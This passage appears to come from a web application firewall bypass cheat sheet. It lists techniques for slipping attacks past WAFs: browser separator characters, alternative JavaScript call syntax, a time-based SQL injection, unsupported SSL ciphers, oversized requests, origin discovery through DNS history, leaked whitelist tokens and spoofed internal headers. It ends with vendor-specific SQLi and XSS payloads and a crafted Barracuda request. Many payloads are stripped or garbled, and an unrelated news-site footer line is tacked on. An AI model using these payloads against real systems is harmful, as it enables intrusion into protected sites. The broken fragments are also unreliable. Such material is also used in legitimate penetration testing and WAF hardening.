* But we can use special chars like ` %`, `//`, `!`, `?`, etc.
* ` ` \- Works upto IE7 _(Source)_
* ` alert(1) ` \- Works upto IE9 _(Reference)_
* ` ` \- Works in IE7 _(Reference)_
* ` ` \- Works Upto IE7
* Every browser has their own specific charset of separators.
* We can fuzz charset range of `0x00` to `0xFF` and get the set of separators for each browser.
* We can use these separators in places where a space is required.
Here is a compiled list of separators by @Masato Kinugawa:
* IExplorer: `0x09`, `0x0B`, `0x0C`, `0x20`, `0x3B`
* Chrome: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
* FireFox: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
* Android: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
pwn3d
### Using Atypical Equivalent Syntactic Structures
* This method aims at finding a way of exploitation not considered by the WAF developers.
* Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
* This payload is accepted and executed by the server after going through the firewall.
Some common keywords overlooked by WAF developers:
window['alert'](
parent['alert'](
self['alert'](
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
Many alternatives to the original JavaScript can be used, namely:
> However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
* Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
* Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
* Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
* Find out the ciphers supported by the server (tools like SSLScan helps here).
* If a specific cipher not supported by WAF but by the server, is found, voila!
* Initiating a new connection to the server with that specific cipher should smuggle our payload in.
python abuse-ssl-bypass-waf.py -thread 4 -target
CLI tools like cURL can come very handy for PoCs:
curl --ciphers -G -d
* Many a times, WAFs have a limit on _how much_ of the HTTP request they are meant to handle.
* By sending a HTTP request with a size **greater than the limit** , we can fully evade WAFs.
* Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
* Once done, attach your payload to the request after filling the limit with garbage.
> A similar technique was used to bypass Google Cloud Platform WAF.
* Often old historical DNS records provide information the location of the site behind the WAF.
* The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
> **TIP:** Some online services like IP History and DNS Trails come to the rescue during the recon process.
**Tool** : bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d --checkall
* Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
* This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
* Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
* Usually some `*-sync-request` keywords or a shared token value is used as the secret.
* Often adding specific headers may trigger a similar whitelist behaviour.
Now when making a request to the server, you can append it as a parameter:
& =True
> A real life example how this works can be found at this blog.
* The target is to fool the WAF/server into believing it was from their internal network.
* Adding some spoofed headers to represent the internal network, does the trick.
* With each request some set of headers are to be added simultaneously thus spoofing the origin.
* The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.
* There are a lot of known bypasses of various web application firewalls (see section).
* With the help of google dorks, we can easily find bypasses.
Before anything else, you should hone up skills from Google Dorks Cheat Sheet.
* Searching for specific version exploits:
`" " + (bypass|exploit)`
`site:0day.today + (bypass|exploit)`
* SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
%C0%80'+union+select+col1,col2,col3+from+table+--+
eval(atob(decodeURIComponent("payload")))//
click me aaa
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
clickhere
* Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort
* Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort
* Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
* Protected Admin Scripts Bypass by @ed0x21son
* SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security
â union select current_user, 2#
test
xss'">;prompt`${document.domain}`%26lt;/script>'>
X `
H #x
* RCE Payload Detection Bypass by @theMiddle
The full story
This article is one source in a clustered incident â the cluster page carries the summary, timeline and every other outlet covering it.
